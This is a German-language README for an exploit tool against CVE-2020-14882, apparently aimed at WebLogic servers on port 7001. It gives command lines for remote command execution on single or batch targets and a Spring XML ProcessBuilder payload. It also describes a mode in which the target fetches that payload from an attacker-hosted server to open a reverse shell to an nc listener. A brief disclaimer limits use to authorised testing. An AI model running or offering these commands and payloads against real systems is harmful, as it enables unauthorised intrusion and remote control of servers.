CVE-2020-14882_ALL

CVE-2020-14882_ALL umfassendes Nutzungstool, das Funktionen wie Command-Output-Erkennung, Batch-Command-Output und ausgelagerte XML-Befehlsausführung ohne Output unterstützt.

Erforderliche Module: requests, http.client

(Das Tool ist nur für autorisierte Sicherheitstests bestimmt. Nicht für illegale Zwecke verwenden. Missbrauch liegt nicht in der Verantwortung des Autors.)

Bekannte erfolgreiche Versionen des Command-Output-Moduls: 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

Optionen

Funktion 1: Command-Output

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "net user"

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "whoami"

Funktion 2: Batch-Command-Output

python3 CVE-2020-14882_ALL.py -f target.txt -c "whoami"

target.txt Format: http://x.x.x.x:xx, eine Zeile pro Eintrag.

Funktion 3: Ausgelagerte XML-Befehlsausführung ohne Output

1. Am Beispiel einer Linux-Reverse-Shell: Bearbeiten Sie die Datei poc.xml und starten Sie den Python-Listener.

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
	<value>cmd</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Starten Sie den Python-Listener.

Starten Sie den nc-Listener.

2. Verwenden Sie die Option -x, um den Pfad der XML-Datei anzugeben und das Payload zu senden.

python3 CVE-2020-14882_ALL.py -u http://xxxx:7001 -x http://xxx:8000/poc.xml

3. Erfolgreicher Empfang der Shell.